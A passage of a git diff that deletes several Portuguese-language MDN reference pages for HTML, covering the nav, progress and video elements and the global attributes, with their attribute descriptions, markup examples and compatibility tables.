- <th scope="row">Conteúdo permitido</th>
- <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>.</td>
- </tr>
- <tr>
- <th scope="row">Omissão de tag</th>
- <td>{{no_tag_omission}}</td>
- </tr>
- <tr>
- <th scope="row">Pais permitidos</th>
- <td>Qualquer elemento que permita <a href="/en-US/docs/HTML/Content_categories#Flow_content">flow content</a>.</td>
- </tr>
- <tr>
- <th scope="row">Papeis ARIA permitidos</th>
- <td>Nenhuns</td>
- </tr>
- <tr>
- <th scope="row">interface DOM</th>
- <td>{{domxref("HTMLElement")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Atributos">Atributos</h2>
-
-<p>Este elemento apenas inclui <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">atributos globais</a>.</p>
-
-<h2 id="Notas_de_utilização">Notas de utilização</h2>
-
-<ul>
- <li>Nem todos os links num documento devem estar contidos num elemento <code>&lt;nav&gt;</code>, que é direcionado apenas para blocos de hiper-ligações de navegação principal; tipicamente o elemento {{HTMLElement("footer")}} tem uma lista de hiper-ligações que não necessitam de estar contidos no elemento {{HTMLElement("nav")}}.</li>
- <li>Um documento poderá ter vários elementos {{HTMLElement("nav")}}, por exemplo, um para navegação na página e outro para navegação exterior da mesma.</li>
- <li>User agents, tais como leitores de ecrã direcionados para utilizadores com limitações, podem utilizar este elemento para determinar a omissão ou não da renderização inicial deste conteúdo.</li>
-</ul>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>No exemplo seguinte, um bloco <code>&lt;nav&gt;</code> é usado para conter uma lista não ordenada ({{HTMLElement("ul")}}) de hiper-ligações. Com o CSS apropriado, a lista pode ser apresentada como uma barra de navegação ou menu "drop-down.</p>
-
-<pre class="brush: html">&lt;nav class="menu"&gt;
- &lt;ul&gt;
- &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Sobre&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Contactos&lt;/a&gt;&lt;/li&gt;
- &lt;/ul&gt;
-&lt;/nav&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>Sem alterações desde o ultimo snapshot da W3C.</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
- <td>{{Spec2('HTML5 W3C')}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibidade_de_Navegadores">Compatibidade de Navegadores</h2>
-
-<div class="hidden">A tabela de compatibilidades nesta página é gerada através de dados estruturados.Se gostaria de contribuir para esta coleta de dados por favor dirija-se a<a href="https://github.com/mdn/browser-compat-data"> https://github.com/mdn/browser-compat-data</a> e envie-nos um pull request.</div>
-
-<p>{{Compat("html.elements.nav")}}</p>
-
-<p>Ver também</p>
-
-<ul>
- <li>Outros elementos relacionados com a secção: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
- <li class="last"><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li>
-</ul>
diff --git a/files/pt-pt/web/html/element/progress/index.html b/files/pt-pt/web/html/element/progress/index.html
deleted file mode 100644
index 5efef8ff83..0000000000
--- a/files/pt-pt/web/html/element/progress/index.html
+++ /dev/null
@@ -1,129 +0,0 @@
----
-title: progress
-slug: Web/HTML/Element/progress
-translation_of: Web/HTML/Element/progress
-original_slug: Web/HTML/Elemento/progress
----
-<h2 id="Resumo">Resumo</h2>
-
-<p>O HTML <em>progress</em> (<code>&lt;progress&gt;</code>) é o elemento usado para mostrar o progresso de uma tarefa. Enquanto os detalhes específicos de como ele é exibido é deixado para o desenvolvedor web, é tipicamente exibido como uma barra de progresso.</p>
-
-<h2 id="Contexto_de_uso">Contexto de uso</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td>Conteúdo permitido</td>
- <td><a href="/en/HTML/Content_categories#Phrasing_content" title="en/HTML/Content categories#Phrasing content">Phrasing content</a></td>
- </tr>
- <tr>
- <td>Tag omission</td>
- <td>None, both, o inicio da tag e o final da tag são obrigatórios.</td>
- </tr>
- <tr>
- <td>Elemento pai permitido</td>
- <td><a href="/en/HTML/Content_categories#Phrasing_content" title="en/HTML/Content categories#Phrasing content">Phrasing content</a>, mas não deve haver descedentes no elemento progress  .</td>
- </tr>
- <tr>
- <td>Documento normativo</td>
- <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-progress-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-progress-element">HTML5, section 4.10.16</a></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Atributos">Atributos</h2>
-
-<p>Como todos os outros elementos HTML, este elemento possui os <a href="/en/HTML/Global_attributes" rel="internal">atributos globais</a>.</p>
-
-<dl>
- <dt>{{ htmlattrdef("form") }}</dt>
- <dd>This attribute specifies the form which the <code>progress</code> element belongs to.</dd>
- <dt>{{ htmlattrdef("max") }}</dt>
- <dd>This attribute describes how much work the task indicated by the <code>progress</code> element requires.</dd>
- <dt>{{ htmlattrdef("value") }}</dt>
- <dd>This attribute specifies how much of the task that has been completed. If there is no <code>value</code> attribute, the progress bar is indeterminate; this indicates that an activity is ongoing with no indication of how long it is expected to take.</dd>
-</dl>
-
-<p>You can use the {{ cssxref("orient") }} property to specify whether the progress bar should be rendered horizontally (the default) or vertically. The {{ cssxref(":indeterminate") }} pseudo-class can be used to match against indeterminate progress bars.</p>
-
-<h2 id="DOM_interface">DOM interface</h2>
-
-<p>Este elemento implementa a interface <code><a href="/en/DOM/HTMLProgressElement" title="en/DOM/HTMLProgressElement">HTMLProgressElement</a></code>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="script">&lt;progress value="70" max="100"&gt;70 %&lt;/progress&gt;
-</pre>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p><a href="/samples/html/progress.html">View Live Examples</a></p>
-
-<p>No Google Chrome, o resultado do progress parece deste modo:</p>
-
-<p><img alt="progress-1.png" class="default internal" src="/@api/deki/files/4946/=progress-1.png"></p>
-
-<h3 id="Exemplos_Adicionais">Exemplos Adicionais</h3>
-
-<p>Veja {{ cssxref("orient") }}.</p>
-
-<h2 id="Compatibilidade_dos_Browsers">Compatibilidade dos Browsers</h2>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Características</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>6.0</td>
- <td>{{ CompatGeckoDesktop("6.0") }}</td>
- <td>No</td>
- <td>11</td>
- <td>nightlies</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Características</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{ CompatUnknown() }}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h3 id="Gecko_notes">Gecko notes</h3>
-
-<p>Gecko provides the {{ cssxref("::-moz-progress-bar") }} pseudo-element, which lets you style the part of the interior of the progress bar representing the amount of work completed so far.</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{ cssxref("orient") }}</li>
- <li>{{ cssxref(":indeterminate") }}</li>
-</ul>
diff --git a/files/pt-pt/web/html/element/video/index.html b/files/pt-pt/web/html/element/video/index.html
deleted file mode 100644
index 3b67dddc5a..0000000000
--- a/files/pt-pt/web/html/element/video/index.html
+++ /dev/null
@@ -1,70 +0,0 @@
----
-title: Video
-slug: Web/HTML/Element/video
-translation_of: Web/HTML/Element/video
-original_slug: Web/HTML/Elemento/Video
----
-<p>{{ gecko_minversion_header("1.9.1") }}</p>
-<p>O elemento <code>video</code> é usado para inserir conteúdo de vídeo em um documento HTML ou XHTML. O elemento <code>video</code> foi adicionado como parte do HTML 5.</p>
-<ul>
- <li>Tipo de Elemento: <a class="internal" href="/en/HTML/Block-level_elements" title="en/HTML/Block-level elements">block-level</a></li>
- <li>Conteúdo Permitido: alternate text</li>
-</ul>
-<div class="note">
- <strong>Nota:</strong> Atualmente, o Firefox suporta apenas Theora para vídeo, em recipientes Ogg.  Além disso, o servidor precisa servir o arquivo utilizando o <em>MIME type</em> correto para que o Firefox o reproduza corretamente.</div>
-<h2 id="Atributos">Atributos</h2>
-<p>Note que diversos atributos ainda não são suportados pelo Firefox.</p>
-<dl>
- <dt>
- autoplay</dt>
- <dd>
- Um atributo booleano; se especificado, o vídeo iniciará a reprodução automaticamente assim que puder, portanto, sem para para finalizar o carregamento dos dados.</dd>
- <dt>
- autobuffer</dt>
- <dd>
- Um atributo booleano; se especificado, o vídeo iniciará a leitura dos dados (<em>buffering</em>) mesmo se não estiver configurado para reproduzir automaticamente. Isto deve ser usado para casos em que provavelmente o vídeo será reproduzido (por exemplo, se o usuário navegou para a página exclusivamente para reproduzir o vídeo, não se o vídeo foi inserido junto a outro conteúdo). O vídeo é lido (<em>buffered</em>) até que o <em>cache</em> de mídia esteja cheio.</dd>
- <dt>
- controls</dt>
- <dd>
- Se este atributo estiver presente, Firefox oferecerá controles para permitir que o usuário controle a reprodução do vídeo, incluindo volume, procura, e pausa/continuar.</dd>
- <dt>
- height</dt>
- <dd>
- A altura da área de exibição do vídeo, em pixels CSS.</dd>
- <dt>
- loop {{ unimplemented_inline() }} {{ bug(449157) }}</dt>
- <dd>
- Um atributo booleano; se especificado, ao alcançar o fim do vídeo, voltará ao início automaticamente.</dd>
- <dt>
- poster {{ unimplemented_inline() }} {{ bug(449156) }}</dt>
- <dd>
- Uma URL indicando um quadro pôster para se exibir enquanto não houver dados do vídeo disponíveis. Se este atributo não for especificado, nada é exibido até o vídeo estar disponível para reprodução.</dd>
- <dt>
- src</dt>
- <dd>
- A URL do vídeo a ser embutido. Este atributo é opcional; em vez disso você pode usar o elemento <a class="internal" href="/En/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> (en) dentro do bloco video para especificar o vídeo a embutir.</dd>
- <dt>
- width</dt>
- <dd>
- A largura da área de exibição do vídeo, em pixels CSS.</dd>
-</dl>
-<p>O deslocamento de tempo é especificado como um valor de ponto flutuante indicando o número de segundos do deslocamento.</p>
-<div class="note">
- <strong>Nota:</strong> A definição do valor de deslocamento de tempo ainda não está completa na especificação do HTML 5 e está sujeita a mudanças.</div>
-<h2 id="Exemplos">Exemplos</h2>
-<pre class="brush: html">&lt;video src="videofile.ogg" autoplay&gt;
-  Seu navegador não suporta o elemento &lt;code&gt;video&lt;/code&gt;.
-&lt;/video&gt;
-</pre>
-<p>Reproduz um vídeo, inicia a reprodução assim que tenha recebido o bastante do vídeo para permitir a reprodução sem pausas para baixar mais.</p>
-<h2 id="Veja_também">Veja também</h2>
-<ul>
- <li><a class="internal" href="/En/Media_formats_supported_by_the_audio_and_video_elements" title="En/Media formats supported by the audio and video elements">Media formats supported by the audio and video elements</a> (EN)</li>
- <li><a class="internal" href="/Pt/HTML/Element/Audio" title="Pt/HTML/Element/Audio"><code>audio</code></a></li>
- <li><a class="internal" href="/Pt/Usando_%C3%A1udio_e_v%C3%ADdeo_no_Firefox" title="Pt/Usando áudio e vídeo no Firefox">Usando áudio e vídeo no Firefox</a></li>
- <li><a class="internal" href="/En/Manipulating_video_using_canvas" title="En/Manipulating video using canvas">Manipulating video using canvas</a> (EN)</li>
- <li><code>{{ interface("nsIDOMHTMLMediaElement") }}</code></li>
- <li><a class="external" href="http://tinyvid.tv/" title="http://tinyvid.tv/">TinyVid</a> - exemplos utilizando arquivos ogg no HTML 5. (EN)</li>
- <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#video" title="http://www.whatwg.org/specs/web-apps/current-work/#video">The <code>video</code> element</a> (HTML 5 specification)</li>
-</ul>
-<p>{{ languages( { "fr": "fr/HTML/Element/video" } ) }}</p>
diff --git a/files/pt-pt/web/html/global_attributes/index.html b/files/pt-pt/web/html/global_attributes/index.html
deleted file mode 100644
index 3fc8adfbc8..0000000000
--- a/files/pt-pt/web/html/global_attributes/index.html
+++ /dev/null
@@ -1,481 +0,0 @@
----
-title: Atributos globais
-slug: Web/HTML/Global_attributes
-tags:
- - HTML
- - Precisa Compatibilidade Navegador
- - Referencia
- - Web
- - atributo
-translation_of: Web/HTML/Global_attributes
-original_slug: Web/HTML/Atributos_globais
----
-<div>{{HTMLSidebar("Global_attributes")}}</div>
-
-<div class="summary">
-<p>Os<strong> 'Atributos Globais' </strong>são atributos comuns a todos os elementos HTML; estes podem ser utilziados em todos os elementos, embora os atributos poderão não ter efeito em alguns elementos.</p>
-</div>
-
-<p>Os atributos globais podem ser especificados em todos os <a href="/pt-PT/docs/Web/HTML/Elemento">elementos HTML</a>, <em> mesmo aqueles que não estão especificados no padrão</em>. Isso significa que qualquer elemento não padrão ainda deve permitir esses atributos, mesmo que utilizando esses elementos significa que o documento já não é mais compatível com HTML5. Por exemplo, navegadores compatíveis com HTML5 ocultam conteúdo marcado como <code>&lt;foo hidden&gt;...&lt;foo&gt;</code><code>, </code>mesmo que <code>&lt;foo&gt;</code> não seja um elemento HTML válido.</p>
-
-<p>Além dos atributos globais HTML básicos, também existem os seguintes atributos globais:</p>
-
-<ul>
- <li><strong><code>xml:lang</code></strong> and <code><strong>xml:base</strong></code> — these are inherited from the XHTML specifications and deprecated, but kept for compatibility purposes.</li>
- <li>The multiple <code><strong><a href="/en-US/docs/Web/Accessibility/ARIA">aria-*</a></strong></code> attributes, used for improving accessibility.</li>
- <li>The event handler attributes: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
-</ul>
-
-<h2 id="Descrição">Descrição</h2>
-
-<dl>
- <dt id="attr-accesskey"><code><a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt>
- <dd>Provides a hint for generating a keyboard shortcut for the current element. This attribute consists of a space-separated list of characters. The browser should use the first one that exists on the computer keyboard layout.</dd>
- <dt id="attr-class"><code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code></dt>
- <dd>Is a space-separated list of the classes of the element. Classes allows CSS and JavaScript to select and access specific elements via the <a href="/en-US/docs/Web/CSS/Class_selectors">class selectors</a> or functions like the method {{domxref("Document.getElementsByClassName()")}}.</dd>
- <dt id="attr-contenteditable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt>
- <dd>Is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values:
- <ul>
- <li><code>true</code> or the <em>empty string</em>, which indicates that the element must be editable;</li>
- <li><code>false</code>, which indicates that the element must not be editable.</li>
- </ul>
- </dd>
- <dt id="attr-contextmenu"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contextmenu">contextmenu</a></code></dt>
- <dd>Is the <code><a href="#attr-id"><strong>id</strong></a></code> of an {{HTMLElement("menu")}} to use as the contextual menu for this element.</dd>
- <dt id="attr-dataset"><code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*">data-*</a></code></dt>
- <dd>Forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the <a href="/en-US/docs/Web/HTML">HTML</a> and its <a href="/en-US/docs/Glossary/DOM">DOM</a> representation that may be used by scripts. All such custom data are available via the {{domxref("HTMLElement")}} interface of the element the attribute is set on. The {{domxref("HTMLElement.dataset")}} property gives access to them.</dd>
- <dt id="attr-dir"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code></dt>
- <dd>Is an enumerated attribute indicating the directionality of the element's text. It can have the following values:
- <ul>
- <li><code>ltr</code>, which means <em>left to right </em>and is to be used for languages that are written from the left to the right (like English);</li>
- <li><code>rtl</code>, which means <em>right to left</em> and is to be used for languages that are written from the right to the left (like Arabic);</li>
- <li><code>auto</code>, which let the user agent decides. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then apply that directionality to the whole element.</li>
- </ul>
- </dd>
- <dt id="attr-draggable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/draggable">draggable</a></code></dt>
- <dd>Is an enumerated attribute indicating whether the element can be dragged, using the <a href="/en-us/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:
- <ul>
- <li><code>true</code>, which indicates that the element may be dragged</li>
- <li><code>false</code>, which indicates that the element may not be dragged.</li>
- </ul>
- </dd>
- <dt id="attr-dropzone"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dropzone">dropzone</a></code> {{experimental_inline}}</dt>
- <dd>Is an enumerated attribute indicating what types of content can be dropped on an element, using the <a href="/en-US/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:
- <ul>
- <li><code>copy</code>, which indicates that dropping will create a copy of the element that was dragged</li>
- <li><code>move</code>, which indicates that the element that was dragged will be moved to this new location.</li>
- <li><code>link</code>, will create a link to the dragged data.</li>
- </ul>
- </dd>
- <dt id="attr-hidden"><code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt>
- <dd>Is a Boolean attribute indicates that the element is not yet, or is no longer, <em>relevant</em>. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements. This attribute must not be used to hide content that could legitimately be shown.</dd>
- <dt id="attr-id"><code><a href="/en-US/docs/Web/HTML/Global_attributes/id">id</a></code></dt>
- <dd>Defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).</dd>
-</dl>
-
-<div class="note">
-<p><strong>Nota: </strong>os atributos <code>item*</code> são parte de uma  <a class="external" href="https://html.spec.whatwg.org/multipage/microdata.html#microdata">funcionalidade Microdados HTML de WHATWG</a>.</p>
-</div>
-
-<dl>
- <dt id="attr-itemid"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt>
- <dd>The unique, global identifier of an item.</dd>
- <dt id="attr-itemprop"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> {{experimental_inline}}</dt>
- <dd>Used to add properties to an item. Every HTML element may have an itemprop attribute specified, where an itemprop consists of a name and value pair.</dd>
- <dt id="attr-itemref"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemref">itemref</a></code> {{experimental_inline}}</dt>
- <dd>Properties that are not descendants of an element with the <code>itemscope</code> attribute can be associated with the item using an <strong>itemref</strong>. Itemref provides a list of element ids (not <code>itemid</code>s) with additional properties elsewhere in the document.</dd>
- <dt id="attr-itemscope"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">itemscope</a> </code>{{experimental_inline}}</dt>
- <dd>Itemscope (usually) works along with <a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype </a>to specify that the HTML contained in a block is about a particular item. itemscope creates the Item and defines the scope of the itemtype associated with it. itemtype is a valid URL of a vocabulary (such as <a class="external external-icon" href="https://schema.org/">schema.org</a>) that describes the item and its properties context.</dd>
- <dt id="attr-itemtype"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt>
- <dd>Specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure. <a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">Itemscope</a> is used to set the scope of  where in the data structure the vocabulary set by itemtype will be active.</dd>
- <dt id="attr-lang"><code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt>
- <dd>Participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. The tag contains one single entry value in the format defined in the <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a> IETF document. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> has priority over it.</dd>
-</dl>
-
-<dl>
- <dt id="attr-slot"><code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> {{experimental_inline}}</dt>
- <dd>Assigns a slot in a <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> shadow tree to an element: An element with a <code>slot</code> attribute is assigned to the slot created by the {{HTMLElement("slot")}} element whose {{htmlattrxref("name", "slot")}} attribute's value matches that <code>slot</code> attribute's value.</dd>
-</dl>
-
-<dl>
- <dt id="attr-spellcheck"><code><a href="/en-US/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt>
- <dd>Is an enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values:
- <ul>
- <li><code>true</code>, which indicates that the element should be, if possible, checked for spelling errors;</li>
- <li><code>false</code>, which indicates that the element should not be checked for spelling errors.</li>
- </ul>
- </dd>
- <dt id="attr-style"><code><a href="/en-US/docs/Web/HTML/Global_attributes/style">style</a></code></dt>
- <dd>Contains <a href="/en-US/docs/Web/CSS">CSS</a> styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{HTMLElement("style")}} element have mainly the purpose of allowing for quick styling, for example for testing purposes.</dd>
- <dt id="attr-tabindex"><code><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></code></dt>
- <dd>Is an integer attribute indicating if the element can take input focus (is <em>focusable</em>), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values:
- <ul>
- <li>a <em>negative value</em> means that the element should be focusable, but should not be reachable via sequential keyboard navigation;</li>
- <li><code>0</code> means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;</li>
- <li>a <em>positive value</em> which means should be focusable and reachable via sequential keyboard navigation; its relative order is defined by the value of the attribute: the sequential follow the increasing number of the <a href="#attr-tabindex"><strong>tabindex</strong></a>. If several elements share the same tabindex, their relative order follows their relative position in the document).</li>
- </ul>
- </dd>
- <dt id="attr-title"><code><a href="/en-US/docs/Web/HTML/Global_attributes/title">title</a></code></dt>
- <dd>Contains a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip.</dd>
- <dt id="attr-translate"><code><a href="/en-US/docs/Web/HTML/Global_attributes/translate">translate</a></code> {{experimental_inline}}</dt>
- <dd>Is an enumerated attribute that is used to specify whether an element's attribute values and the values of its {{domxref("Text")}} node children are to be translated when the page is localized, or whether to leave them unchanged. It can have the following values:
- <ul>
- <li>empty string and <code>"yes"</code>, which indicates that the element will be translated.</li>
- <li><code>"no"</code>, which indicates that the element will not be translated.</li>
- </ul>
- </dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', "dom.html#global-attributes", "Global attributes")}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>From latest snapshot, {{SpecName('HTML5.1')}}, <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, and <code>itemtype</code> have been added.</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}</td>
- <td>{{Spec2('HTML5.1')}}</td>
- <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName('HTML5 W3C')}}, <code>spellcheck</code>, <code>draggable</code>, and <code>dropzone</code> have been added.</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}</td>
- <td>{{Spec2('HTML5 W3C')}}</td>
- <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, the concept of global attributes is introduced and the <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, and <code>title</code> are now true global attributes.<br>
- <code>xml:lang</code> which was initially part of XHTML, is now also part of HTML.<br>
- <code>hidden</code>, <code>data-*</code>, <code>contextmenu</code>, <code>contenteditable</code>, and <code>translate</code> have been added.</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML4.01')}}</td>
- <td>{{Spec2('HTML4.01')}}</td>
- <td>There are no global attributes defined. Several attributes that will become global attributes in subsequent specifications are defined on a subset of elements.<br>
- <code>class</code> and <code>style</code> are supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
- <code>dir</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
- <code>id</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
- <code>lang</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
- <code>tabindex</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.<br>
- <code>accesskey</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} and {{HTMLElement("textarea")}}.<br>
- <code>title</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
